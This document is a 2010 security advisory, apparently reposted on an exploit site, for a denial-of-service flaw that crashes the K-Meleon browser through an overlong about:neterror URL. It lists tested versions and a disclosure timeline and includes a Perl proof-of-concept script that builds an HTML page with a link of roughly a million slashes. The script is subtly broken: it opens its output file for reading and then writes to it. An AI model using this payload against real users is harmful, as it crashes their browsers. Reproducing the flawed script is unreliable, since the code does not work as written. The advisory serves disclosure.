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K-Meleon for windows about neterror Stack Overflow DoS
[======================================================
K-Meleon for windows about neterror Stack Overflow DoS
======================================================
############################################
K-Meleon for windows about:neterror Stack Overflow DoS
Vendor URL:http://kmeleon.sourceforge.net/
Advisore:http://lostmon.blogspot.com/2010/08/k-meleon-for-windows-aboutneterror-dos.html
Vendor notified:Yes exploit available: YES
Category : Remote DoS
############################################
K-Meleon is an extremely fast, customizable, lightweight web browser
based on the Gecko layout engine developed by Mozilla which is also
used by Firefox. K-Meleon is free, open source software released under
the GNU General Public License and is designed specifically for
Microsoft Windows (Win32) operating systems.
K-Meleon is prone vulnerable to crashing with a very long URL...
Internal web pages like about:neterror does not limit the amount of
chars that a user put in 'c' 'd' params and them if we compose a
malformed url the browser can be chash easy.This issue is exploitable
via web links like click here or via
window.location.replace('very long url') or similar vectors.
#################
Versions Tested
#################
I have tested this issue in win xp sp3 and a windows 7 fully pached.
Win XP sp3:
K-meleon 1.5.3 & 1.5.4 Vulnerables.(crashes )
K-Meleon 1.6.0a4 Vulnerables.(crashes)
windows 7 Ultimate:
K-meleon 1.5.3 & 1.5.4 Vulnerables.(crashes)
K-Meleon 1.6.0a4 Vulnerables.(crashes)
############
References
############
Discovered: 29-07-2010
vendor notify:31-07-2010
Vendor Response:
Vendor patch:
################
#Proof Of Concept
################
#######################################################################
#!/usr/bin/perl
# k-meleon Long "a href" Link DoS
# Author: Lostmon Lords Lostmon@gmail.com http://lostmon.blogspot.com
# k-Meleon versions 1.5.3 & 1.5.4 internal page about:neterror DoS
# generate the file open it with k-keleon click in the link and wait a seconds
######################################################################
$archivo = $ARGV[0];
if(!defined($archivo))
{
print "Usage: $0 <archivo.html>\n";
}
$cabecera = "<html>" . "\n";
$payload = "<a href=\"about:neterror?e=connectionFailure&c=" . "/" x
1028135 . "\">click here if you can :)</a>" . "\n";
$fin = "</html>";
$datos = $cabecera . $payload . $fin;
open(FILE, '<' . $archivo);
print FILE $datos;
close(FILE);
exit;
################## EOF ######################
##############
Related Links
##############
vendor bugtracker : http://kmeleon.sourceforge.net/bugs/viewbug.php?bugid=1251
Posible related Vuln: https://bugzilla.mozilla.org/show_bug.cgi?id=583474
Test Case : https://bugzilla.mozilla.org/attachment.cgi?id=461776
###################### Ђnd #############################
Thnx to Phreak for support and let me undestanding the nature of this bug
thnx to jajoni for test it in windows 7 X64 bits version.
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
# 0day.today [2024-12-26] #